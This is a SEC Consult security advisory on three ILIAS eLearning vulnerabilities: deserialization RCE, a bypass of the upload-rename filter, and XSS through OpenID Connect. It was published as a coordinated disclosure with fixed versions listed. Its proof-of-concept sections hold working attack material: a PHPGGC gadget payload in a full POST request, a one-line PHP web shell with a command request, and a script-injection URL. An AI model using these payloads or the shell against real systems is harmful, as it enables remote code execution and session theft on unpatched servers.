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SEC Consult SA-20230627-0 :: Multiple high risk vulnerabilities in ILIAS eLearning platform
From: "SEC Consult Vulnerability Lab, Research via Fulldisclosure" <fulldisclosure () seclists org>
Date: Tue, 27 Jun 2023 06:21:53 +0000
SEC Consult Vulnerability Lab Security Advisory < 20230627-0 >
=======================================================================
title: Multiple high risk vulnerabilities
product: ILIAS eLearning platform
vulnerable version: see section "Vulnerable version" below
fixed version: see section "Solution" below
CVE number: -
impact: High
homepage: https://www.ilias.de
found: 2022-12-28
by: Armin Stock (Atos)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Eviden business
Europe | Asia
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"Around since 1998, ILIAS is a powerful learning management system that fulfills
all your requirements. Using its integrated tools, small and large businesses,
universities, schools and public authorities are able to create tailored,
individual learning scenarios."
Source: https://www.ilias.de/en/
Business recommendation:
------------------------
The vendor provides a patch which should be installed immediately.
SEC Consult highly recommends to perform a thorough security review of the product
conducted by security professionals to identify and resolve potential further
security issues.
Vulnerability overview/description:
-----------------------------------
1) Authenticated remote code execution (ilObjRoleGUI)
The function `changeExistingObjectsObject` of the class `ilObjRoleGUI` passes
user-controlled data to the `unserialize` function.
-------------------------------------------------------------------------------
# FILE: Services/AccessControl/classes/class.ilObjRoleGUI.php
/**
* Change existing objects
* @return
*/
protected function changeExistingObjectsObject()
{
global $DIC;
$tree = $DIC['tree'];
$rbacreview = $DIC['rbacreview'];
$rbacadmin = $DIC['rbacadmin'];
$mode = (int) $_POST['mode'];
$start = ($this->obj_ref_id == ROLE_FOLDER_ID ? ROOT_FOLDER_ID : $this->obj_ref_id);
$this->object->changeExistingObjects($start, $mode, unserialize(ilUtil::stripSlashes($_POST['type_filter'])));
ilUtil::sendSuccess($this->lng->txt('settings_saved'), true);
$this->ctrl->redirect($this, 'perm');
}
-------------------------------------------------------------------------------
The user-controlled `POST` parameter `type_filter` is passed to the
`unserialize` function. The function `ilUtil::stripSlashes` only tries to
protect against `HTML injection` and does not interfere with the serialized payload.
To be able to exploit this vulnerability it is required to have `edit_permission`
on an object, which supports the `ilPermissionGUI` command and has a `ref_id`.
Also an `obj_id` of a role is required. As an example the `course` object is used.
-------------------------------------------------------------------------------
# FILE: Services/AccessControl/classes/class.ilPermissionGUI.php
public function executeCommand()
{
global $DIC;
$rbacsystem = $DIC['rbacsystem'];
$ilErr = $DIC['ilErr'];
if (!$rbacsystem->checkAccess("edit_permission", $this->gui_obj->object->getRefId())) {
$ilErr->raiseError($this->lng->txt("permission_denied"), $ilErr->MESSAGE);
}
$next_class = $this->ctrl->getNextClass($this);
switch ($next_class) {
case "ilobjrolegui":
$this->ctrl->setReturn($this, 'perm');
include_once("Services/AccessControl/classes/class.ilObjRoleGUI.php");
$this->gui_obj = new ilObjRoleGUI("", (int) $_GET["obj_id"], false, false);
$ret = $this->ctrl->forwardCommand($this->gui_obj);
break;
-------------------------------------------------------------------------------
2) ilUtil::renameExecutables bypass allows PHP code execution
The ILIAS platform uses the function `ilUtils::renameExecutables` in the
`ilFileSystemGUI` class (used to upload or unzip files for various objects), to
prevent the upload of executable files like `.php`.
--------------------------------------------------------------------------------
# File: ILIAS-7.17\Services\FileSystem\classes\class.ilFileSystemGUI.php
/**
* delete object file
*/
public function unzipFile($a_file = null)
{
# ...
if (@is_file($a_file)) {
include_once("./Services/Utilities/classes/class.ilFileUtils.php");
$cur_files = array_keys(ilUtil::getDir($cur_dir));
$cur_files_r = iterator_to_array(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($cur_dir)));
if ($this->getAllowDirectories()) {
ilUtil::unzip($a_file, true);
} else {
ilUtil::unzip($a_file, true, true);
}
# ...
}
# Call to renameExecutables, after a ZIP file has be unzipped
ilUtil::renameExecutables($this->main_dir);
$this->ctrl->saveParameter($this, self::CDIR);
ilUtil::sendSuccess($lng->txt("cont_file_unzipped"), true);
$this->ctrl->redirect($this, "listFiles");
}
--------------------------------------------------------------------------------
This function changes the extension of all files, which have an extension
specified in the variables `SUFFIX_REPL_DEFAULT` and `SUFFIX_REPL_ADDITIONAL` to
`.sec`.
--------------------------------------------------------------------------------
# File: ILIAS-7.17\Services\Init\classes\class.ilInitialisation.php
// define default suffix replacements
define("SUFFIX_REPL_DEFAULT", "php,php3,php4,inc,lang,phtml,htaccess");
define("SUFFIX_REPL_ADDITIONAL", $ilSetting->get("suffix_repl_additional"));
# File: ILIAS-7.17\Services\Utilities\classes\class.ilUtil.php
/**
* Rename uploaded executables for security reasons.
*
* @static
*
*/
public static function renameExecutables($a_dir)
{
$def_arr = explode(",", SUFFIX_REPL_DEFAULT);
foreach ($def_arr as $def) {
ilUtil::rRenameSuffix($a_dir, trim($def), "sec");
}
$def_arr = explode(",", SUFFIX_REPL_ADDITIONAL);
foreach ($def_arr as $def) {
ilUtil::rRenameSuffix($a_dir, trim($def), "sec");
}
}
--------------------------------------------------------------------------------
The `ilUtil::rRenameSuffix` is responsible for renaming the provided suffixes to
the `sec` suffix. To achieve this it does the following:
a) Iterate the provided directory, skipping the `.` and `..` files
b) Test if the filename ends with a dot and removes it: `foo.php.` --> `foo.php`
c) Test if the filename has the provided suffix and
replace it with `sec`: `foo.php` --> `foo.sec`
--------------------------------------------------------------------------------
/**
* Renames all files with certain suffix and gives them a new suffix.
* This words recursively through a directory.
*
* @param string $a_dir directory
* @param string $a_old_suffix old suffix
* @param string $a_new_suffix new suffix
*
* @access public
* @static
*
*/
public static function rRenameSuffix($a_dir, $a_old_suffix, $a_new_suffix)
{
# ...
// read a_dir
$dir = opendir($a_dir);
while ($file = readdir($dir)) {
if ($file != "." and
$file != "..") {
// directories
if (@is_dir($a_dir . "/" . $file)) {
ilUtil::rRenameSuffix($a_dir . "/" . $file, $a_old_suffix, $a_new_suffix);
}
// files
if (@is_file($a_dir . "/" . $file)) {
// first check for files with trailing dot
if (strrpos($file, '.') == (strlen($file) - 1)) {
rename($a_dir . '/' . $file, substr($a_dir . '/' . $file, 0, -1));
$file = substr($file, 0, -1);
}
$path_info = pathinfo($a_dir . "/" . $file);
if (strtolower($path_info["extension"]) ==
strtolower($a_old_suffix)) {
$pos = strrpos($a_dir . "/" . $file, ".");
$new_name = substr($a_dir . "/" . $file, 0, $pos) . "." . $a_new_suffix;
rename($a_dir . "/" . $file, $new_name);
}
}
}
}
return true;
}
--------------------------------------------------------------------------------
The first test can be abused to generate a `PHP` warning. If the uploaded file
has the name `...` it tries to rename it to `..` which is not possible and
results in a warning:
--------------------------------------------------------------------------------
php > rename("./...", "..");
PHP Warning: rename(./...,..): Device or resource busy in php shell code on line 1
--------------------------------------------------------------------------------
This behavior by itself would be no problem, but `ILIAS` uses the
`https://github.com/filp/whoops` library. This library turns `PHP` errors into
exceptions (if not ignored by the `php.ini` value `error_reporting`). `ILIAS`
recommends to set this variable to
`error_reporting = E_ALL & ~E_NOTICE & ~E_DEPRECATED & ~E_STRICT ; PHP 5.4.0 and higher`
(see https://docu.ilias.de/goto_docu_lm_367.html), which would enable the
warning and trigger the exception.
As there is no `catch` block in the `rRenameSuffix` function the iteration of
the directory is stopped and other files, which actually do have a `.php` suffix
are not processed, resulting in an uploaded file with an unallowed suffix `.php`.
3) Unauthenticated XSS via OpenIDConnect error message
The ILIAS platform uses the `https://github.com/jumbojett/OpenID-Connect-PHP`
library for its `OpenID-Connect` authentication implementation. During the call
to the `OpenIDConnectClient::authenticate` function, this library accepts the
`error_description` parameter from the `$_REQUEST` object, which is used for the
error message in an exception. The code throws this exception, if the `error`
parameter is also present in the `$_REQUEST` object.
--------------------------------------------------------------------------------
# FILE: ILIAS-7.17\libs\composer\vendor\jumbojett\openid-connect-php\src\OpenIDConnectClient.php
/**
* @return bool
* @throws OpenIDConnectClientException
*/
public function authenticate() {
// Do a preemptive check to see if the provider has thrown an error from a previous redirect
if (isset($_REQUEST['error'])) {
$desc = isset($_REQUEST['error_description']) ? ' Description: ' . $_REQUEST['error_description'] : '';
throw new OpenIDConnectClientException('Error: ' . $_REQUEST['error'] .$desc);
}
--------------------------------------------------------------------------------
The implementation of the `OpenID-Connect` auth provider catches any exception
thrown during the authentication process and uses the error message of the
exception to set the current status of the login.
--------------------------------------------------------------------------------
# File: ILIAS-7.17\Services\OpenIdConnect\classes\class.ilAuthProviderOpenIdConnect.php
/**
* Do authentication
* @param \ilAuthStatus $status Authentication status
* @return bool
*/
public function doAuthentication(\ilAuthStatus $status)
{
try {
$oidc = $this->initClient();
$oidc->setRedirectURL(ILIAS_HTTP_PATH . '/openidconnect.php');
# ...
# Call OpenIDConnectClient::authenticate
$oidc->authenticate();
# ....
} catch (Exception $e) {
$this->getLogger()->warning($e->getMessage());
$this->getLogger()->warning($e->getCode());
$status->setStatus(ilAuthStatus::STATUS_AUTHENTICATION_FAILED);
# Set status message using the exception message, which is controlled
# by the attacker
$status->setTranslatedReason($e->getMessage());
return false;
}
}
--------------------------------------------------------------------------------
Depending on status of the login, the
`ilStartUpGUI::doOpenIdConnectAuthentication` function sends a failure message
to the user based on the `$status->getTranslateReason()` text.
--------------------------------------------------------------------------------
/**
* do open id connect authentication
*/
protected function doOpenIdConnectAuthentication()
{
global $DIC;
$this->getLogger()->debug('Trying openid connect authentication');
# ...
$frontend->authenticate();
switch ($status->getStatus()) {
case ilAuthStatus::STATUS_AUTHENTICATED:
# ...
case ilAuthStatus::STATUS_AUTHENTICATION_FAILED:
# Send failure message to the user
ilUtil::sendFailure($status->getTranslatedReason(), true);
$GLOBALS['ilCtrl']->redirect($this, 'showLoginPage');
return false;
}
# ...
}
--------------------------------------------------------------------------------
This error message, which can contain `HTML` code is later displayed to the user
by the error subsystem, which does not encode the error message. The messages
are created based on the `tpl.message.html` template and rendered as the
`{MESSAGE}` template variable.
--------------------------------------------------------------------------------
# File: ILIAS-7.17\Services\UICore\classes\class.ilGlobalTemplate.php
/**
* Fill message area.
*/
private function fillMessage()
{
global $DIC;
$out = "";
foreach (self::$message_types as $m) {
$txt = $this->getMessageTextForType($m);
if ($txt != "") {
$out .= ilUtil::getSystemMessageHTML($txt, $m);
}
$request = $DIC->http()->request();
$accept_header = $request->getHeaderLine('Accept');
if (isset($_SESSION[$m]) && $_SESSION[$m] && ($accept_header !== 'application/json')) {
unset($_SESSION[$m]);
}
}
if ($out != "") {
$this->setVariable("MESSAGE", $out);
}
}
# File: ILIAS-7.17\Services\Utilities\classes\class.ilUtil.php
/**
* Get HTML for a system message
*
* ATTENTION: This method is deprecated. Use MessageBox from the
* UI-framework instead.
*/
public static function getSystemMessageHTML($a_txt, $a_type = "info")
{
global $DIC;
$lng = $DIC->language();
$mtpl = new ilTemplate("tpl.message.html", true, true, "Services/Utilities");
$mtpl->setCurrentBlock($a_type . "_message");
$mtpl->setVariable("TEXT", $a_txt);
$mtpl->setVariable("MESSAGE_HEADING", $lng->txt($a_type . "_message"));
$mtpl->parseCurrentBlock();
return $mtpl->get();
}
--------------------------------------------------------------------------------
Proof of concept:
-----------------
1) Authenticated remote code execution (ilObjRoleGUI)
Prerequisite: User with `edit_permission` on a `course` object
Parameter details:
* ref_id=80 -> Course object
* obj_id=4 -> Role object
* cmdNode=wh:ln:ux:px -> Command flow denoted by CIDs (installation dependent)
* cmd=changeExistingObjects -> Function to call on the `ilObjRoleGUI` object
* type_filter -> payload, generated with [PHPGGC](https://github.com/ambionics/phpggc)
`./phpggc -S Monolog/RCE5 system "touch /tmp/exploit"`
CIDs:
* wh = ilrepositorygui
* ln = ilobjcoursegui
* ux = ilpermissiongui
* px = ilobjrolegui
The following POST request exploits this issue and creates the file /tmp/exploit
as a proof of concept:
-------------------------------------------------------------------------------
POST
/ilias.php?ref_id=80&cmdClass=ilpermissiongui&cmdNode=wh:ln:ux:px&baseClass=ilrepositorygui&obj_id=4&cmd=changeExistingObjects
HTTP/1.1
Host: ilias.local:9080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://ilias.local:9080/ilias.php?ref_id=80&cmdClass=ilrepositorygui&cmdNode=wh&baseClass=ilrepositorygui
Cookie: ilClientId=myilias; PHPSESSID=a29f6435073c76b3c6477a8b154c91e1;
1453197475={"any_entry_engaged":false,"tools_engaged":false,"more_available":false,"entries":{"0:0":[0,0,0],"0:1":[0,0,0],"0:1:1":[0,1,0],"0:1:2":[0,0,0],"0:2":[0,0,0],"0:2:0":[0,0,0],"0:2:1":[0,0,0],"0:3":[0,0,0],"0:4":[0,0,0],"0:5":[0,0,1]},"tools":{"696c434f50616765456469744753546f6f6c50726f76696465727c636f70675f656469746f72":[0,0,0,"T:0"]},"known_tools":["696c576f726b73706163654753546f6f6c50726f76696465727c74726565","696c434f50616765456469744753546f6f6c50726f76696465727c636f70675f656469746f72","4d61696c476c6f62616c53637265656e546f6f6c50726f76696465727c6d61696c5f666f6c646572735f74726565"],"last_active_top":"0:2"};
il_mb_slates={"engaged":false}
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 495
type_filter=<@urlencode>O:37:"Monolog\Handler\FingersCrossedHandler":3:{S:16:"\00\2a\00\70\61\73\73\74\68\72\75\4c\65\76\65\6c";i:0;S:9:"\00\2a\00\62\75\66\66\65\72";a:1:{S:4:"\74\65\73\74";a:2:{i:0;S:18:"\74\6f\75\63\68\20\2f\74\6d\70\2f\65\78\70\6c\6f\69\74";S:5:"\6c\65\76\65\6c";N;}}S:10:"\00\2a\00\68\61\6e\64\6c\65\72";O:28:"Monolog\Handler\GroupHandler":1:{S:13:"\00\2a\00\70\72\6f\63\65\73\73\6f\72\73";a:2:{i:0;S:7:"\63\75\72\72\65\6e\74";i:1;S:6:"\73\79\73\74\65\6d";}}}
<@/urlencode>
-------------------------------------------------------------------------------
After sending this request the file `/tmp/exploit` is created.
-------------------------------------------------------------------------------
user@d93129388baa:/var/www/logs# ls -la /tmp
total 16
drwxrwxrwt 1 root root 4096 Dec 28 06:07 .
drwxr-xr-x 1 root root 4096 Dec 26 04:12 ..
-rw-r--r-- 1 www-data www-data 0 Dec 28 06:07 exploit
-------------------------------------------------------------------------------
2) ilUtil::renameExecutables bypass allows PHP code execution
To exploit this issue the `MediaObject` object type can be used, as uploaded
files are placed in a known directory which is accessible via the web server.
This allows the execution of the `.php` script after uploading.
As a first step a new `MediaObject` has to be created. Then the attacker has to
navigate to `Properties -> Files` of this object. Afterwards a new `.zip` archive
can be uploaded with the following content:
--------------------------------------------------------------------------------
=> ILIAS unzip -l ilias-exploit-dot.zip
Archive: ilias-exploit-dot.zip
Length Date Time Name
--------- ---------- ----- ----
92 2022-12-27 01:28 exploit.php
35 1980-01-01 00:00 style_import/...
92 2022-12-27 01:28 style_import/exploit.php
--------- -------
219 3 files
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
#File: exploit.php
<?php
echo system($_GET["cmd"]);
?>
--------------------------------------------------------------------------------
After uploading this archive it can be unzipped using the `unzip` command of
`ilFileSystemGUI` class. During the unzip process the following exception
occurs:
--------------------------------------------------------------------------------
Whoops\Exception\ErrorException thrown with message
"rename(./data/myilias/mobs/mm_318/style_import/...,./data/myilias/mobs/mm_318/style_import/..): Device or resource
busy"
Stacktrace:
#24 Whoops\Exception\ErrorException in /var/www/html/Services/Utilities/classes/class.ilUtil.php:3593
#23 rename in /var/www/html/Services/Utilities/classes/class.ilUtil.php:3593
#22 ilUtil:rRenameSuffix in /var/www/html/Services/Utilities/classes/class.ilUtil.php:3586
#21 ilUtil:rRenameSuffix in /var/www/html/Services/Utilities/classes/class.ilUtil.php:3510
#20 ilUtil:renameExecutables in /var/www/html/Services/FileSystem/classes/class.ilFileSystemGUI.php:926
#19 ilFileSystemGUI:unzipFile in /var/www/html/Services/FileSystem/classes/class.ilFileSystemGUI.php:448
#18 ilFileSystemGUI:extCommand in /var/www/html/Services/FileSystem/classes/class.ilFileSystemGUI.php:257
#17 ilFileSystemGUI:executeCommand in /var/www/html/Services/UICore/classes/class.ilCtrl.php:217
#16 ilCtrl:forwardCommand in /var/www/html/Services/MediaObjects/classes/class.ilObjMediaObjectGUI.php:277
#15 ilObjMediaObjectGUI:executeCommand in /var/www/html/Services/UICore/classes/class.ilCtrl.php:217
#14 ilCtrl:forwardCommand in /var/www/html/Services/COPage/classes/class.ilPCMediaObjectGUI.php:198
#13 ilPCMediaObjectGUI:executeCommand in /var/www/html/Services/UICore/classes/class.ilCtrl.php:217
#12 ilCtrl:forwardCommand in /var/www/html/Services/COPage/classes/class.ilPageEditorGUI.php:401
#11 ilPageEditorGUI:executeCommand in /var/www/html/Services/UICore/classes/class.ilCtrl.php:217
#10 ilCtrl:forwardCommand in /var/www/html/Services/COPage/classes/class.ilPageObjectGUI.php:1113
#9 ilPageObjectGUI:executeCommand in /var/www/html/Modules/Blog/classes/class.ilBlogPostingGUI.php:166
#8 ilBlogPostingGUI:executeCommand in /var/www/html/Services/UICore/classes/class.ilCtrl.php:217
#7 ilCtrl:forwardCommand in /var/www/html/Modules/Blog/classes/class.ilObjBlogGUI.php:697
#6 ilObjBlogGUI:executeCommand in /var/www/html/Services/UICore/classes/class.ilCtrl.php:217
#5 ilCtrl:forwardCommand in /var/www/html/Services/PersonalWorkspace/classes/class.ilPersonalWorkspaceGUI.php:165
#4 ilPersonalWorkspaceGUI:executeCommand in /var/www/html/Services/UICore/classes/class.ilCtrl.php:217
#3 ilCtrl:forwardCommand in /var/www/html/Services/Dashboard/classes/class.ilDashboardGUI.php:262
#2 ilDashboardGUI:executeCommand in /var/www/html/Services/UICore/classes/class.ilCtrl.php:217
#1 ilCtrl:forwardCommand in /var/www/html/Services/UICore/classes/class.ilCtrl.php:178
#0 ilCtrl:callBaseClass in /var/www/html/ilias.php:23
--------------------------------------------------------------------------------
As there is no exception processing present in the rename function it skips all
other files, leaving the file `exploit.php` with the `.php` suffix as it is.
--------------------------------------------------------------------------------
root@4967b59b6950:/var/www/html/data/myilias/mobs/mm_318# ls -la ./**
-rwxr-xr-x 1 www-data www-data 45 Jan 17 13:28 ./exploit.php
-rw-r--r-- 1 www-data www-data 639 Jan 17 13:21 ./ilias-exploit-dot.zip
./style_import:
total 16
drwxr-xr-x 2 www-data www-data 4096 Jan 17 13:21 .
drwxr-xr-x 3 www-data www-data 4096 Jan 17 13:28 ..
-rwxrwxrwx 1 www-data www-data 35 Jan 1 1980 ...
-rwxr-xr-x 1 www-data www-data 92 Dec 27 01:28 exploit.sec
--------------------------------------------------------------------------------
As an example, the program `whoami` can then be executed with the following request
via the uploaded PHP shell:
--------------------------------------------------------------------------------
GET /data/myilias/mobs/mm_318/exploit.php?cmd=whoami HTTP/1.1
Host: ilias.local:9080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ilClientId=myilias; PHPSESSID=efb0b80d14d4ffa22369b1750ed26a6a;
1453197475={"any_entry_engaged":true,"tools_engaged":true,"more_available":false,"entries":{"0:0":[0,0,0],"0:1":[0,0,0],"0:1:1":[0,0,0],"0:1:2":[0,0,0],"0:2":[0,0,0],"0:2:0":[0,0,0],"0:2:1":[0,0,0],"0:3":[0,0,0],"0:4":[0,0,0],"0:5":[0,0,1]},"tools":{"696c434f50616765456469744753546f6f6c50726f76696465727c636f70675f656469746f72":[0,1,0,"T:0"],"696c576f726b73706163654753546f6f6c50726f76696465727c74726565":[0,0,0,"T:1"]},"known_tools":["696c434f50616765456469744753546f6f6c50726f76696465727c636f70675f656469746f72","696c576f726b73706163654753546f6f6c50726f76696465727c74726565"],"last_active_top":"0:2"}
Upgrade-Insecure-Requests: 1
--------------------------------------------------------------------------------
Response:
--------------------------------------------------------------------------------
HTTP/1.1 200 OK
Date: Tue, 17 Jan 2023 13:28:32 GMT
Server: Apache/2.4.52 (Debian)
X-Powered-By: PHP/7.3.33
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 19
www-data
www-data
--------------------------------------------------------------------------------
3) Unauthenticated XSS via OpenIDConnect error message
The following request can be used to trigger the vulnerability:
--------------------------------------------------------------------------------
GET /openidconnect.php?error=1&error_description=XSS-<script>alert(document.domain)</script> HTTP/1.1
Host: ilias.local:9080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
--------------------------------------------------------------------------------
The response to this request is a redirect to the URL
(`/ilias.php?lang=de&cmd=showLoginPage&cmdClass=ilstartupgui&cmdNode=zq&baseClass=ilStartUpGUI`),
which displays the error message and shows the `alert` box:
--------------------------------------------------------------------------------
HTTP/1.1 200 OK
Date: Tue, 17 Jan 2023 10:03:06 GMT
Server: Apache/2.4.52 (Debian)
X-Powered-By: PHP/7.3.33
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 20369
Connection: close
Content-Type: text/html; charset=UTF-8
<!-- ... -->
<div class="ilAdminRow">
<div class="alert alert-danger" role="alert">
<h5 class="ilAccHeadingHidden"><a id="il_message_focus">Fehlermeldung</a></h5>
Error: 1 Description: XSS-<script>alert(document.domain)</script></div>
</div>
<!-- ... -->
--------------------------------------------------------------------------------
Vulnerable / tested versions:
-----------------------------
The vulnerabilities were identified in ILIAS version v7.17 2022-12-21 which was
the latest version available at the time of the test. Previous branches, such as
version 6 are affected as well. Version 8 was not available at the time of the
test yet, but fixes have been incorporated in the release as well.
The identified vulnerabilities have been fixed in different versions (see
solution section below). Hence the affected versions differ, depending on the
vulnerability.
* Vulnerability 1) <7.22 and <8.3
* Vulnerability 2) <6.22, <7.18, <8.0
* Vulnerability 3) <6.23, <7.19, <8.0
Vendor contact timeline:
------------------------
2023-01-20: Contacting vendor through security () lists ilias de and established
contact from previous advisory; quick vendor reply.
2023-01-30: Vendor acknowledged the vulnerabilities
2023-02-06: A fix for one of vulnerabilities was released
2023-03-27: All vulnerabilities seem to be fixed in branch 7.xx, is release possible?
2023-03-28: Vendor asked to postpone public release of advisory to end of May as
vulnerability 1) will be addressed with a more proper fix later.
2023-05-22: Asking vendor about the timeline of the public release and the fixed
version in the different branches.
2023-05-23: Vendor answers that vulnerability 1) is not fully fixed yet and
provides information regarding affected/fixed versions for 2) and 3).
2023-05-31: Vendor provides update regarding timeline, fix for issue 1) is either
planned for 21st or 28th June in release v8.3. It is properly fixed
in v7.22. Asked to delay security advisory for one week after patch
publication.
2023-06-01: Confirming timeline and advisory release date.
2023-06-20: Asking for status update, if patch will be released on 21st or 28th
June.
2023-06-20: Vendor: release is planned for today, scheduling advisory release for
27th June.
2023-06-27: Coordinated release of security advisory.
Solution:
---------
The vendor provides updated versions which mitigate the identified vulnerabilities.
Vulnerability 1) is fixed in versions or higher: 7.22, 8.3
Vulnerability 2) is fixed in versions or higher: 6.22, 7.18, 8.0
Vulnerability 3) is fixed in versions or higher: 6.23, 7.19, 8.0
The patches can be downloaded from the vendor's website where they also
provide detailed changelogs for the patches:
https://docu.ilias.de/ilias.php?ref_id=1719&obj_id=229&cmd=layout&cmdClass=illmpresentationgui&cmdNode=13g&baseClass=ilLMPresentationGUI
SEC Consult recommends updating to the latest version available.
Workaround:
-----------
None
Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Eviden business
Europe | Asia
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Eviden business. It ensures the continued knowledge gain of SEC Consult in the
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SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.
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EOF Armin Stock / @2023
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